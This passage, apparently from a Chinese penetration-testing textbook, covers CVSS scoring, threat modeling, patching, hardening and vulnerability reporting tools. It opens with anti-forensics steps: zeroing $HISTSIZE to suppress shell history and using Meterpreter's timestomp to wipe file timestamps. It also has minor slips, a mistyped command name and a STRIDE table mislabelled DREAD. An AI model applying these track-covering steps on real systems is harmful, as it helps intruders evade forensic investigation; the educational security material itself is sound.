在 Linux 系统(基于 Debian 的系统)中,负责控制命令历史记录的参数是$HISTSIZE。如果我们能够将其值设置为0,就不会存储任何命令历史记录:

反取证

在前一节中,我们看到渗透测试任务留下了多个痕迹。事后取证调查可以揭示有关妥协发生方式的许多信息。进行取证分析时的一个重要因素是时间戳。文件时间戳有助于重建可能发生的一系列活动。

Metasploit 提供了能够有效用于覆盖时间戳值并误导取证调查的功能。

首先,我们利用漏洞针对目标使用 Meterpreter 访问。然后我们使用timestomp <filename> -v命令列出与文件相关的各种时间戳:

现在,我们可以尝试使用timestamp <filename> -b命令擦除文件的时间戳。此命令将清除与目标文件相关的所有时间戳:

总结

在本章中,我们学习了各种技术来持久访问受损目标。我们还学习了清除受损系统痕迹的各种方法,以及 Metasploit 框架的一些反取证能力。

在下一章中,我们将学习正确漏洞评分的重要性。

第十八章:漏洞评分

本章是关于理解正确漏洞评分的重要性。我们将了解标准漏洞评分的需求,并获得使用通用漏洞评分系统(CVSS)对漏洞进行评分的实际知识。

本章将涵盖以下主题:

  • 漏洞评分的要求

  • 使用 CVSS 进行漏洞评分

  • CVSS 计算器

漏洞评分的要求

拿任何现代网络进行漏洞扫描。你会感到不知所措,并发现大量的漏洞。现在,如果你继续对网络进行扫描,比如每月一次,那么你的漏洞清单将迅速增长。如果将所有这些漏洞如实呈现给高级管理人员,那将毫无帮助。高级管理人员更感兴趣的是一些具体的、可操作的信息。

典型的漏洞扫描器可能会在特定系统中发现 100 个漏洞。在 100 个漏洞中,可能有 30 个是误报,25 个是信息性的,25 个是低严重性的,15 个是中等严重性的,5 个是高严重性的漏洞。自然而然地,在 100 个报告的漏洞中,5 个高严重性的漏洞应该作为优先处理。其余的可以根据资源的可用性稍后处理。

因此,除非漏洞得分,否则无法为其分配严重性评级,因此也无法为其进行优先修复。高级管理人员也会对组织内的最高严重性漏洞感兴趣。因此,对漏洞进行评分将有助于获得高级管理人员在项目可见性和资源管理方面的正确关注和支持。如果不进行评分,将无法对漏洞进行优先处理和关闭。

使用 CVSS 进行漏洞评分

漏洞评分确实是一个非常主观的问题。它取决于上下文和评分漏洞的人的专业知识。因此,在没有任何标准系统的情况下,对同一个漏洞进行评分可能会因人而异。

CVSS 是一个用于评分漏洞的标准系统。在得出最终评分之前,它考虑了几个不同的参数。使用 CVSS 具有以下好处:

  • 它提供了标准化和一致的漏洞评分

  • 它提供了一个开放的漏洞评分框架,使得评分的个体特征透明化

  • CVSS 有助于风险优先级排序

为了简化目的,CVSS 指标被分类为各种组,如下图所示:

我们将在接下来的章节中简要介绍每个指标类别。

基本指标组

基本指标组定义了给定漏洞的一些固定特征,这些特征随时间和用户环境保持不变。基本指标组被分类为两个子组,如下一节所讨论的。

可利用性指标

正如前面提到的,可利用性指标反映了易受攻击的事物的特性,我们正式称之为易受攻击组件。因此,这里列出的每个可利用性指标都应该相对于易受攻击组件进行评分,并反映导致成功攻击的漏洞的属性。

攻击向量

攻击向量只是攻击者成功利用漏洞所采取的路径。攻击向量指标表示漏洞可能被利用的方式。在互联网上远程利用的漏洞的潜在攻击者数量比需要物理访问设备的漏洞的攻击者数量要多,因此指标值会随着攻击者远程利用漏洞的程度而增加。

参数描述示例
网络漏洞可能通过网络远程利用。易受攻击的组件连接到网络,攻击者可以通过第 3 层(OSI)访问它。发送特制的 TCP 数据包导致的拒绝服务
相邻漏洞可以在相同的物理或逻辑网络内被利用。它不能在网络边界之外被利用。蓝牙攻击,ARP 洪泛
本地易受攻击的组件无论如何都未连接到网络,攻击者必须在本地登录才能利用漏洞。特权升级
物理只有在攻击者可以物理访问易受攻击的系统/组件时,漏洞才能被利用。冷启动攻击

攻击复杂度

攻击复杂度度量列出了攻击者无法控制但是利用漏洞所需的所有条件和先决条件。例如,可能存在某个特定漏洞只有在特定版本的应用程序部署在某个特定的操作系统平台上并具有一些自定义设置时才能被利用。只有满足所有这些条件,漏洞利用才可能发生。对于其他一些漏洞,可能无论应用程序版本和基本操作系统的类型如何,都可以利用。因此,条件和先决条件增加了攻击的复杂性,并且因漏洞而异:

参数描述示例
不存在任何可能阻碍攻击者重复成功利用易受攻击的组件的特定条件或先决条件。发送特制的 TCP 数据包导致的拒绝服务
攻击的成功依赖于攻击者无法控制的特定条件。因此,攻击者不能随心所欲地发动成功的攻击,需要在准备攻击方面付出相当大的努力。涉及随机令牌、序列号等攻击

所需特权

所需特权度量定义了攻击者必须具有的特权级别,以成功利用漏洞。可能存在一些漏洞可以在正常特权级别下被利用,而其他可能严格要求 root 或管理员级别的特权才能成功利用:

参数描述
攻击者不需要任何先前特权或访问权限来执行攻击。
攻击者需要有限或最低特权才能成功执行攻击。
攻击者需要显著的特权,如管理员或根权限,才能利用易受攻击的组件。

用户交互

用户交互度指示目标用户除了攻击者的行动之外需要执行的操作,以成功利用漏洞。一些漏洞可能仅由攻击者利用,而其他可能需要额外的用户交互/参与:

参数描述示例
攻击者可以在不需要受害者/用户任何交互的情况下利用易受攻击的系统/组件。发送特制的 TCP 数据包导致的拒绝服务
必需攻击者需要受害者(用户)执行某种操作才能利用漏洞。无线点击攻击,点击劫持

范围

CVSS 3.0 允许我们捕获组件漏洞的指标,这也会影响其范围之外的资源。范围指的是受漏洞影响的脆弱组件的哪些部分或者利用漏洞会影响哪些关联。范围由授权机构分隔。漏洞可能会影响相同授权机构内或不同授权机构内的组件。例如,允许攻击者修改基础(主机)系统文件的虚拟机中的漏洞将包括两个系统在范围内,而允许攻击者修改系统主机文件的 Microsoft Word 中的漏洞将属于单一授权机构:

参数描述
未更改利用漏洞只会影响受影响组件管理的资源
更改利用漏洞可能会影响脆弱组件边界之外的资源

影响度指标

影响度指标表示受影响组件的机密性、完整性和可用性等各种属性。

机密性影响

机密性影响表示成功利用漏洞后信息机密性的影响:

参数描述
完全丧失机密性,导致攻击者完全访问资源。例如,对密码的攻击和窃取私人加密密钥可能导致机密性完全丧失。
机密性有限损失。虽然获取了机密信息,但攻击者无法完全控制获取的信息。
受影响组件内机密性没有影响。

完整性影响

完整性影响指标表示成功利用漏洞后信息完整性的影响:

参数描述
完全丧失完整性。例如,攻击者能够修改受影响组件保护的所有文件。如果攻击者能够部分修改信息,这将导致严重后果。
虽然数据可能被修改,但攻击者无法完全控制修改的数量或后果。受影响组件没有严重影响。
受影响组件内完整性没有影响。

可用性影响

可用性影响指标表示成功利用漏洞后受影响组件的可用性影响。可用性的丧失可能是由于网络服务停止,如 Web、数据库或电子邮件。所有倾向于消耗网络带宽、处理器周期或磁盘空间资源的攻击都可以由此指标表示:

参数描述
完全丧失可用性,导致无法访问受影响组件的资源
资源可用性受到有限影响
受影响组件内可用性没有影响

时间度量组

时间度量指标表示各种利用技术、补丁或解决方法的现有状态,或者对漏洞存在的程度的信心。

利用代码成熟度

利用代码成熟度指标表示漏洞被利用的可能性,取决于现有的利用技术状态和代码可用性。

一些利用代码可能是公开可用的,使它们易于许多攻击者访问。这增加了漏洞被利用的可能性。注意以下参数:

参数描述
未定义将此值分配给指标不会影响分数。它只是指示评分方程跳过此指标。
存在功能自主代码,或者不需要利用(手动触发)并且详细信息广泛可用。
功能功能性利用代码可用,并且在大多数情况下有效。
概念验证概念验证明显可用。代码可能在所有情况下都不起作用,并且可能需要熟练攻击者进行大量编辑。
未经证实利用代码不可用或利用只是假设的。

修复级别

修复级别度量标准表示可用于减轻漏洞的修复、补丁或解决方法的级别。它可以帮助优先处理漏洞修复:

参数描述
未定义将此值分配给度量标准不会影响分数。它只是指示评分方程跳过此度量标准。
不可用不存在解决方案或者无法应用解决方案。
绕过存在非官方的、非供应商的修复;这可能是一种内部补丁。
临时修复官方的临时修复存在;可能以快速修复/热修复的形式存在。
官方修复存在完整且经过测试的修复,并且供应商已正式发布。

环境度量标准仅在分析人员需要在受影响组织的特定领域定制 CVSS 分数时使用。您可以在www.first.org/cvss/cvss-v30-specification-v1.8.pdf上阅读更多关于环境度量标准的信息。

报告信心

报告信心度量标准表示对漏洞存在和资源以及技术细节的真实性的信心水平。可能某个特定漏洞发布时没有额外的技术细节。在这种情况下,根本原因和影响可能是未知的:

参数描述
未定义将此值分配给度量标准不会影响分数。它只是指示评分方程跳过此度量标准。
确认存在全面的报告或漏洞/问题可以在功能上重现。可能有源代码可用于手动验证研究结果,或者受影响代码的作者/供应商已确认漏洞的存在。
合理已发布了相当多的细节,但研究人员对根本原因并不完全有信心。研究人员可能无法访问源代码以确认研究结果。
未知有关漏洞存在的报告;然而,其原因是未知的。对漏洞的真实性存在不确定性。

CVSS 计算器

在前面的部分中,我们看了计算最终 CVSS 分数所考虑的各种度量标准类别。在计算分数时考虑这么多值可能看起来令人不知所措。然而,通过使用在线 CVSS 计算器,这项任务变得很容易。它可以在www.first.org/cvss/calculator/3.0上访问。

在线 CVSS 计算器具有所有必需的参数,您需要根据您的环境和漏洞上下文选择合适的参数。完成后,最终分数将自动填充。

以下屏幕截图显示了在为任何参数选择值之前的 CVSS 计算器:

考虑一个可能在网络上远程利用的漏洞,执行起来非常复杂,需要高权限账户,并且需要目标用户的某种互动,同时对机密性、完整性和可用性的影响很小。在这种情况下,CVSS 分数将是 3.9,并被评为低,如下图所示:

让我们考虑另一个可能在网络上远程利用的漏洞;然而,它非常容易执行。它需要低或正常的账户权限,并需要目标用户的某种交互,而对机密性、完整性和可用性的影响很小。在这种情况下,CVSS 评分将为 5.5,并被评为中等,如下面的屏幕截图所示:

让我们考虑另一个可能在网络上远程利用的漏洞。然而,它非常容易执行,不需要任何特定的账户权限,也不需要目标用户的任何交互。如果漏洞成功被利用,对机密性和完整性的影响将很大,而可用性的影响将很小。在这种情况下,CVSS 评分将为 9.4,并被评为关键,如下面的屏幕截图所示:

摘要

在本章中,我们了解了漏洞评分的重要性以及评分任何给定漏洞需要考虑的各种参数。

第十九章:威胁建模

本章是关于理解和准备威胁模型。您将了解威胁建模的基本概念,并获得使用各种威胁建模工具的实际知识。

我们将在本章中涵盖以下主题:

  • 定义威胁建模

  • 威胁建模的好处

  • 威胁建模术语

  • 执行威胁建模的逐步程序

  • 威胁建模的技术-STRIDE、PASTA、DREAD

  • 微软威胁建模工具和 SeaSponge

什么是威胁建模?

威胁建模这个术语,起初可能听起来非常复杂和繁琐。然而,一旦理解,它确实是一个简单的任务。我们将在本章中通过适当的插图来简化威胁建模的概念。

让我们试着分解这两个词,威胁和模型。以下是这两个词的词典含义:

  • 威胁:可能造成损害或危险的人或事物

  • 模型:作为跟随或模仿的示例使用的系统或事物

现在,再次结合这两个词,它们共同意味着什么?威胁建模只不过是一种正式的方式来识别潜在的安全问题。

让我们举一个非常简单的例子来理解这一点。

以下图表描述了一座堡垒:

这座堡垒是国王居住的地方,需要严格的安全措施来对抗他的敌人。因此,建筑师在设计堡垒的结构时,也需要考虑可能危及堡垒安全的各种威胁。

一旦建筑师确定了可能的威胁,他们就可以通过各种可能的手段来减轻威胁。堡垒的一些威胁可能是以下的:

  • 敌人通过后方攻击,那里的堡垒防守较弱

  • 敌人向堡垒的墙壁发射炮弹

  • 由于极端天气导致堡垒墙壁的腐蚀和磨损

  • 敌方大象强行打破堡垒的主入口门

我们刚刚为一座古老的堡垒准备了一个威胁模型。这很简单;我们试图想出所有可能的方式,通过这些方式堡垒的安全可能会被故意或无意地破坏。同样,在建造总统府或任何重要的行政办公室时,都必须准备威胁模型。

从前面的例子中,我们可以理解威胁建模是一个通用的概念,可以应用于任何需要安全的领域或领域。由于本书涉及信息安全,我们将讨论如何为给定的信息系统准备威胁模型。

如果在开发生命周期的设计阶段进行威胁建模,那么威胁建模可能会最有效和有益。在 SDLC 的后期阶段修复错误的成本显著上升。

威胁建模在软件开发生命周期中非常常用。它使软件开发过程中的参与者能够高效地创建和交付安全软件,并更有信心地了解和考虑所有可能的安全缺陷。

威胁建模的好处

对于任何给定的项目,了解可能妨碍整体进展的威胁总是有帮助的。威胁建模正是做同样的事情。威胁建模的一些好处包括:

  • 威胁建模通过设计本身就能够产生安全的软件-如果在设计阶段正确进行威胁建模,那么最终产品将在很大程度上对抗大多数常见的潜在威胁。

  • 威胁建模允许我们以更有结构的方式思考和讨论产品安全-威胁建模提供了一种更正式和有结构的方式来列举和记录安全威胁,而不是以临时方式讨论安全威胁。

  • 威胁建模允许开发团队在 SDLC 过程的早期有效地识别和定义安全缺陷。

  • 威胁建模允许我们记录和分享应用程序安全知识——随着技术的快速升级,威胁形势也在快速变化。持续的威胁建模练习将有助于确保最新的威胁被考虑并预期用于设计缓解控制措施。

  • 威胁建模增加了客户对安全的信心——威胁建模过程的文档化证据肯定会增强客户对系统安全的信心。

  • 持续的威胁建模练习将有助于减少整体攻击面积。

  • 威胁建模有助于量化安全控制,使其更实际地与安全预算保持一致。

威胁建模术语

在我们深入讨论如何建模威胁之前,我们必须熟悉威胁建模过程中使用的一些常见术语。一些常见术语如下:

  • 资产: 资产可以是有价值的任何资源。资产可以是有形的或无形的。例如,数据中心中的大型计算机可能是有形资产,而组织的声誉可能是无形资产。

  • 攻击: 当参与者或威胁代理利用系统中的一个或多个漏洞采取行动时,就会发生攻击。例如,当有人利用跨站脚本漏洞窃取用户 cookie 和会话 ID 时,可能会发生应用程序会话劫持攻击。

  • 攻击向量: 攻击向量是攻击者成功损害系统所采取的路径。例如,向受害者发送带有恶意附件的电子邮件可能是一种可能的攻击向量。

  • 攻击面: 攻击面基本上标记了需要在列举威胁时考虑的范围内组件。攻击面可以是逻辑的或物理的。

  • 对策: 简单来说,对策有助于解决或减轻漏洞,从而降低攻击的可能性,进而降低威胁的影响。例如,安装防病毒软件可以是应对病毒威胁的一种对策。

  • 使用案例: 使用案例是符合业务需求的正常功能情况。例如,允许最终用户选择喜欢的颜色的下拉菜单可能是应用程序的使用案例之一。

  • 滥用案例: 当用户(参与者)故意滥用功能使用案例以达到意外结果时,称为滥用案例。例如,攻击者可能向最大长度为 20 的输入字段发送 1000 个字符。

  • 参与者或威胁代理: 参与者或威胁代理可能是使用或滥用案例的合法或不利用户。例如,使用有效凭据登录应用程序的普通最终用户是一个参与者,而使用 SQL 注入登录应用程序的攻击者也是一个参与者(威胁代理)。

  • 影响: 简单来说,影响是成功攻击后的损害价值。它可以是有形的或无形的。如果系统中的财务数据被突破,可能会产生收入影响,而如果公司网站被篡改,可能会产生声誉影响。

  • 攻击树: 攻击树以可视化方式展示了成功攻击或损害目标的各种路径。以下图表显示了获取对 Windows 系统访问的样本攻击树:

  • 数据流图: 用于可视化系统各组件之间的交互的各种类型的图表。尽管有不同类型的威胁建模图表,但最常用的类型是数据流图DFD)。DFD 用于显示应用程序的主要组件以及这些组件之间的信息流动。DFD 还显示了信任边界,显示了可信信息和在应用程序中使用时需要额外注意的信息之间的分离。

如何建模威胁?

威胁建模的过程可以根据多种因素而变化。然而,一般来说,威胁建模过程可以分解为以下步骤:

  1. 安全目标的识别: 在实际开始威胁建模之前,了解进行威胁建模练习背后的目标是非常重要的。可能存在某些需要解决的合规性或监管要求。一旦了解了驱动因素,就更容易在过程中可视化可能的威胁。

  2. 资产和外部因素/依赖的识别: 除非我们确切知道我们要保护什么,否则就不可能列举出威胁。识别资产有助于建立进一步建模过程的基础。资产需要受到攻击者的保护,并且可能需要优先考虑采取对策。还需要识别可能的外部实体或依赖关系,这些可能不是系统的直接部分,但仍可能对系统构成威胁。

  3. 信任区域的识别: 一旦确定了资产和外部依赖关系,下一步就是识别所有入口点和出口点以及信任区域。这些信息可以有效用于开发带有信任边界的数据流图。

  4. 识别潜在威胁和漏洞: 威胁建模技术,如 STRIDE(在接下来的部分中讨论),可以给出关于影响给定系统的常见威胁的简要概念。一些例子可能包括 XSS、CSRF、SQL 注入、不正确的授权、破损的身份验证和会话管理漏洞。然后需要识别和评估更容易受到风险的系统区域,例如不足的输入验证、不当的异常处理、缺乏审计日志记录等。

  5. 威胁模型的文档化: 威胁建模不是一次性的活动;相反,它是一个迭代过程。在每次迭代后全面记录威胁是非常重要的。文档可以为架构师提供关于需要在设计系统时考虑的可能威胁的良好参考,并且还允许他们考虑可能的对策。开发人员也可以在开发阶段参考威胁建模文档,以明确处理某些威胁场景。

威胁建模技术

有各种威胁建模技术和方法。STRIDE 和 DREAD 就是其中两种。我们将在接下来的部分学习 STRIDE 和 DREAD 的方法论。

STRIDE

STRIDE 是微软开发的一种易于使用的威胁建模方法。STRIDE 有助于识别威胁,是以下术语的缩写:

  • S—欺骗: 欺骗类的威胁包括对手创建和利用有关某人或某物身份的混淆。

例如,对手发送电子邮件给用户,假装是别人。

  • T—篡改: 篡改威胁涉及对手在存储或传输中对数据进行修改。

例如,对手拦截网络数据包,更改支付信息,然后转发给目标。

  • R—否认: 否认包括对手执行某种行动,然后事后否认执行了该行动。

例如,对手向受害者发送威胁性邮件,后来否认发送该邮件。

  • I—信息泄露:信息泄露威胁涉及对机密信息进行未经授权的访问。

例如,对手使用暴力攻击获取用户的密码。

对手获取了包含许多用户付款信息的数据库。

  • D—服务拒绝:服务拒绝威胁涉及拒绝合法用户访问系统或组件。

例如,对手通过发送一个特制的 TCP 数据包导致 Web 服务器崩溃,从而拒绝合法用户访问。

  • E—权限提升:权限提升威胁涉及用户或组件能够访问未经授权的数据或程序。

例如,一个甚至没有读取权限的对手也能够修改文件。

一个普通(非特权)账户的对手能够执行管理员级别的任务。

上述威胁清单可以应用于目标模型的组件。多个威胁可以被归类为威胁类别,如下表所示:

DREAD 类别威胁示例
伪装攻击者冒充管理员,向组织中的所有用户发送钓鱼邮件。
篡改攻击者拦截并修改发送到应用程序的数据。
否认攻击者发送威胁性邮件,后来否认发送该邮件。
信息泄露攻击者获取包含用户凭据的数据库的明文信息。
服务拒绝攻击者从多个来源向单个目标发送大量数据包,以使其崩溃。
权限提升攻击者利用易受攻击的组件来提升权限。

DREAD

虽然 STRIDE 方法可以用于识别威胁,但 DREAD 方法可以有效地对威胁进行评级。DREAD 是以下术语的缩写:

  • D—损害潜力:损害潜力因素定义了如果利用成功可能造成的潜在损害。

  • R—可重现性:可重现性因素定义了再现利用的容易或困难程度。某些利用可能非常容易再现,而另一个可能由于多个依赖关系而困难。

  • E—可利用性:可利用性因素定义了使利用成功所需的确切条件。这可能包括对特定领域的知识,或对某种工具的技能等。

  • A—受影响的用户:受影响的用户因素定义了如果利用成功将受到影响的用户数量。

  • D—可发现性:可发现性因素定义了考虑中的威胁可以被发现的容易程度。环境中的一些威胁可能很容易被注意到,而另一些可能需要使用额外的技术来揭示。

因此,STRIDE 和 DREAD 可以结合使用,以产生有效和可操作的威胁模型。

威胁建模工具

尽管威胁建模可以很容易地用简单的纸和笔完成,但也有一些专门的工具可用于简化整个过程。我们将看看两种可以有效用于建模威胁的工具。

微软威胁建模工具

用于威胁建模的最广泛使用的工具是微软威胁建模工具。它可以免费提供给所有人,并可以从www.microsoft.com/en-in/download/details.aspx?id=49168下载。

一旦下载并安装,初始屏幕如下所示:

单击“创建模型”开始设计新的威胁模型,如下屏幕截图所示。您将看到一个空白画布,可以继续设计:

右侧窗格如下屏幕截图所示,具有所有必要的元素。您可以简单地将所需的元素拖放到画布中,如下屏幕截图所示:

一旦所有组件都添加并连接,威胁模型应该看起来像下面的屏幕截图所示的样子:

为了为给定的威胁模型列举威胁,选择“查看|分析视图”。分析窗格提供了有关给定威胁模型对应的各种威胁的信息,如下屏幕截图所示:

为了生成威胁报告,选择“报告|创建完整报告”,然后选择

报告的文件名和路径,如下屏幕截图所示:

SeaSponge

SeaSponge 是另一个项目(这次是由 Mozilla 开发)用于建模威胁。您可以从github.com/mozilla/seasponge下载它以供离线使用,或者它还有一个在线版本可用于建模威胁。在线版本位于mozilla.github.io/seasponge

以下屏幕截图显示了 SeaSponge 在线工具的第一个屏幕。我们可以通过单击“创建模型”来开始创建一个新模型:

然后工具会要求一些元数据,如项目标题、作者、版本等,如下屏幕截图所示:

然后工具会为我们提供一个空白画布,左侧窗格会给我们添加组件的选项,如下屏幕截图所示:

我们现在可以根据需要向我们的威胁模型添加不同的元素,如下图所示。

然而,与微软威胁建模工具自动列举可能的威胁不同,SeaSponge 要求用户手动列举并将威胁添加到模型中。

摘要

在本章中,我们学习了威胁建模、威胁建模的好处及其术语。我们还学习了不同的威胁建模技术,如 STRIDE 和 DREAD,以及微软威胁建模工具和 SeaSponge 等工具。

第二十章:补丁和安全加固

本章是关于理解补丁和安全加固的各个方面。您将了解补丁的重要性,以及在目标系统上枚举补丁级别的实际技术,并制定加固基础设施安全的安全配置指南。

在本章中,我们将学习以下主题:

  • 定义补丁

  • Windows 和 Linux 上的补丁枚举

  • 安全加固和安全配置审查简介

  • 利用互联网安全中心CIS)的加固基准

定义补丁?

通常,一款软件经过整个 SDLC 的开发后,然后公开发布。我们通常假设它将满足所有功能要求,并且能够抵御潜在的威胁。然而,可能是软件中的某些功能被错误地破坏,从而允许攻击者利用潜在的漏洞。现在,一旦确切的问题被发现,供应商会尽快修补受影响的软件组件。

一旦补丁准备就绪,它将通过官方渠道分发给所有客户。但是,客户需要确保他们的系统上应用了正确和最新的补丁。如果未能这样做,系统将容易受到严重威胁。这就需要一种系统化的方法来管理补丁。

最常见的漏洞是由各种软件组件中缺少的补丁导致的。因此,如果我们主动管理系统上的补丁,那么最常见的漏洞将得到解决。

补丁管理是一个明确定义和组织良好的过程,有助于在现有系统上识别、测试和应用各种补丁。

补丁枚举

为了知道任何给定系统需要应用哪些补丁,首先重要的是要知道该系统当前运行的软件版本以及其当前的补丁级别。补丁枚举是评估任何给定系统当前补丁级别的过程。一旦知道了当前的补丁级别,就可以计划和应用进一步的补丁更新。

Windows 补丁枚举

随着大量受欢迎和广泛使用的产品,微软经常向其客户发布补丁更新。微软通常在每个月的第二个星期二发布补丁。以下截图显示了微软补丁更新站点上有关最新补丁发布的信息:

在没有集中的补丁管理系统的情况下,可以从前面截图中显示的门户网站上单独下载并应用微软补丁。

在计划更新之前,了解系统上补丁的当前状态是至关重要的。为了使这项任务更容易,微软提供了一个名为Microsoft Baseline Security AnalyzerMBSA)的实用程序。可以从www.microsoft.com/en-in/download/details.aspx?id=7558下载该实用程序。

以下截图显示了 MBSA 的启动屏幕:

我们可以选择“扫描计算机”选项并继续到下一个屏幕,如下截图所示。然后我们可以通过指定远程 IP 地址来扫描本地系统或远程系统。我们还可以选择将什么作为我们评估的一部分:

单击“开始扫描”后,MBSA 开始在预定义的目标上运行评估,如下截图所示:

扫描完成后,MBSA 会向我们呈现详细的发现报告,如下截图所示:

根据报告中的发现,我们可以决定通过应用缺失的补丁和设置来进行缓解。

Linux 补丁枚举

在前面的部分中,我们看到了 MBSA 如何用于评估任何 Microsoft 系统的安全性和补丁级别。我们也可以对 Linux 系统进行类似的评估。为了在 Linux 系统上执行安全性和补丁枚举,我们可以使用一个名为Lynis的工具,可以在cisofy.com/lynis/找到。

Lynis 是一个全面的工具,可以有效用于安全审计、合规性测试、漏洞检测和系统加固。它可以在几乎所有基于 UNIX 的系统上运行。虽然它在某些 Linux 发行版中预装,比如 Kali Linux,但你可能需要在其他 Linux 版本上单独安装它;请注意以下截图:

一旦 Lynis 完成所有测试,将在位置/var/log/lynis.log生成详细报告。报告包含对所评估系统的安全健康检查的所有信息。

安全加固和安全配置审查

当我们在网络浏览器中看到一个应用程序运行时,那只是冰山一角。支持应用程序的是大量的基础架构,通常包括 Web 服务器、数据库服务器、操作系统等。因此,即使最终应用程序非常安全,基础架构组件可能存在漏洞,允许攻击者 compromise 系统。这就是安全加固的作用所在。

为了保护完整的应用程序生态系统,包括基础架构,必须对所有参与的组件进行安全配置审查,并相应地加固安全。实现这一点的简单方法可能是查看每个组件的配置文件,然后配置与安全相关的项目。另一种更好的方法可能是使用行业标准基准进行安全配置。互联网安全中心(CIS)为各种平台提供安全基准。这些基准经过充分研究和测试。

使用 CIS 基准

CIS 为各种平台提供安全基准,如服务器、操作系统、移动设备、浏览器等。有两种方法可以使用 CIS 基准:

CIS CAT 工具的免费版本仅支持有限数量的基准评估,而专业版本允许评估所有可用的 CIS 基准。

以下截图显示了 CIS CAT 工具的启动屏幕:

我们选择 CIS Google Chrome 基准进行评估。然后我们需要选择我们需要包括在评估中的配置文件,如下图所示。Level 1 配置文件通常包含最重要和最基本的需要评估的检查,而 Level 2 配置文件包含根据上下文可以选择的检查:

现在我们选择输出格式和我们想要生成报告的位置,如下图所示:

现在我们可以查看我们的评估摘要,然后按照下图所示启动扫描。

一旦我们开始评估,CIS CAT 工具将运行所有预定义的与 Chrome 相关的检查,如下截图所示:

评估完成后,CIS CAT 工具会显示哪些检查通过了,哪些失败了,如下截图所示。此外,还会在预先配置的目录中生成 HTML 格式的详细报告:

摘要

在本章中,我们了解了修补的相关性以及安全配置如何有助于保护应用程序生态系统。在下一章中,我们将学习报告的各个方面,以及安全指标的重要性。

第二十一章:漏洞报告和指标

在本章中,我们将讨论报告漏洞对不同类型受众产生影响的相关性。我们还将探讨围绕漏洞管理计划可以建立的各种指标。

在本章中,我们将涵盖以下主题:

  • 报告的重要性

  • 报告类型

  • 报告工具

  • Faraday v2.6 的协作漏洞管理

  • 指标

报告的重要性

漏洞评估和渗透测试是冗长的过程。它们需要大量的时间、精力和投入才能完成。然而,除非以有意义的方式呈现评估结果,否则所有的时间和精力都是没有用的。

通常情况下,安全性通常被视为一种额外负担。因此,在组织中对安全评估结果感兴趣的人数会很少。然而,有必要以最简洁清晰的方式呈现调查结果,以便在组织内更广泛的受众中显得有趣且可操作。

从审计的角度来看,报告也是至关重要的。大多数组织每年都要进行某种形式的审计,内部或外部。这些审计需要安全评估报告。因此,值得努力创建和维护评估报告。

报告类型

一种尺寸的服装不能适合所有人。同样,一个报告可能对组织中的每个人都没有用处和意义。在任何组织中,不同层次的人可能对不同的领域感兴趣。因此,在创建和发布任何报告之前,了解和分类目标受众是很重要的。

高管报告

高级主管,主要是在 CXO 级别,特别感兴趣的是获取组织中漏洞的高层摘要。高管报告专门为这样的高级别受众准备,通常包含漏洞概要。它们更关注关键和高严重性问题及其当前的纠正状态。高管报告包含大量的人口统计学数据,以快速描绘组织的安全状况。

详细的技术报告

详细的技术报告专门为负责修复已识别漏洞的团队准备。这些报告包含有关发现的漏洞的深入信息,包括以下内容:

  • 漏洞描述

  • 漏洞类别

  • CVE 详细信息(如果有)

  • 漏洞严重程度

  • 受影响的平台/应用组件

  • 概念验证(如果有)

  • 在 Web 应用程序的情况下,完整的请求和响应头

  • 修复漏洞的建议

  • 任何外部参考资料(如果有)

这些技术细节帮助团队准确理解和纠正漏洞。

报告工具

对于任何给定的漏洞评估或渗透测试,可以使用任何文字编辑器手动创建报告。然而,随着评估数量的增加,手动创建和管理报告可能会变得困难。在进行安全评估的同时,我们可以使用一些专门的工具来跟踪我们的工作,然后轻松生成报告。以下部分描述了一些可以帮助我们创建报告的工具,并且在默认的 Kali Linux 中可以直接使用。

Dradis

Dradis 是一个出色的报告框架,是默认 Kali Linux 安装的一部分。可以通过导航到应用程序|报告工具|dradis 来访问它。

初始屏幕提供了配置 Dradis 设置的选项,包括登录凭据,如下图所示:

一旦配置了登录凭据,您可以使用您的凭据登录,如下截图所示:

一旦登录,初始的 Dradis 仪表板看起来像下面的截图所示。它提供了各种选项,包括导入报告、导出报告、添加问题和方法等:

要开始使用 Dradis,您可以使用上传管理器从支持的工具中导入扫描结果。Dradis 目前支持从以下工具导入报告:

  • Brakeman

  • Burp

  • Metasploit

  • NTOSpider

  • Nessus

  • Nexpose

  • Nikto

  • Nmap

  • OpenVAS

  • Qualys

  • ZAP

以下截图显示了 Dradis 上传管理器,用于从外部工具导入扫描结果:

虽然 Dradis 提供从外部工具导入扫描结果的选项,但它也提供手动添加问题的选项,如下截图所示:

一旦添加了所有问题,无论是手动还是通过导入扫描结果,我们现在可以使用 Dradis 导出管理器生成一个整合报告,如下截图所示:

KeepNote

KeepNote 是另一个简单但有用的报告工具,并且在默认的 Kali Linux 安装中可用。它可能不像 Dradis 那样先进,但确实可以将发现整合到单个报告中。

可以通过导航到应用程序 | 报告工具 | keepnote 来访问。

以下截图显示了 KeepNote 的初始屏幕:

KeepNote 确实非常简单易用,顶部有一个标准的工具栏和用于管理数据的窗格。在左侧窗格中,您可以创建一个新的文件夹/页面并创建一个层次结构,如下截图所示:

一旦层次结构准备好并且所有必需的数据都在工具中,我们可以将其导出为单个报告,如下截图所示:

Faraday v2.6 的协作漏洞管理

Faraday 是一个协作漏洞管理工具。Faraday 允许多个渗透测试人员同时工作并将测试数据收集到一个地方,而不是孤立工作。Faraday 是默认 Kali Linux 安装的一部分,可以通过导航到应用程序 | 报告工具 | faraday IDE 来访问。

faraday IDE 服务启动后,以下截图显示了初始仪表板:

Faraday 还有一个命令行控制台,可以用来启动扫描,如下截图所示:

一旦从 Faraday 控制台触发扫描,结果就会开始在 Web 仪表板中反映出来,如下截图所示:

指标

一个组织可能已经建立了非常健全的漏洞管理计划。然而,必须有一种方式来衡量该计划的进展、成功或失败。这就是指标派上用场的时候。指标是漏洞管理计划绩效的关键指标。组织领导可以根据指标对战略和预算做出关键决策。指标还有助于展示组织的整体安全状况,并对需要优先解决的问题发出警报。

度量标准可以基于各种合规标准派生,也可以根据特定组织需求进行完全定制。接下来的部分描述了一些这样的度量标准及其相关性。这些度量标准可以根据组织政策的频率进行报告。当使用各种图表(如条形图、饼图、折线图等)展示时,这些度量标准可以最好地呈现出来。

检测平均时间

尽快了解漏洞的存在总是好的。检测平均时间是一种度量标准,本质上衡量了漏洞在整个组织中被发现之前需要多长时间。理想情况下,这个度量标准的值应该最小。例如,如果一个心脏出血漏洞今天被发布,那么在整个组织中确定所有受影响的系统需要多长时间?这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。

解决平均时间

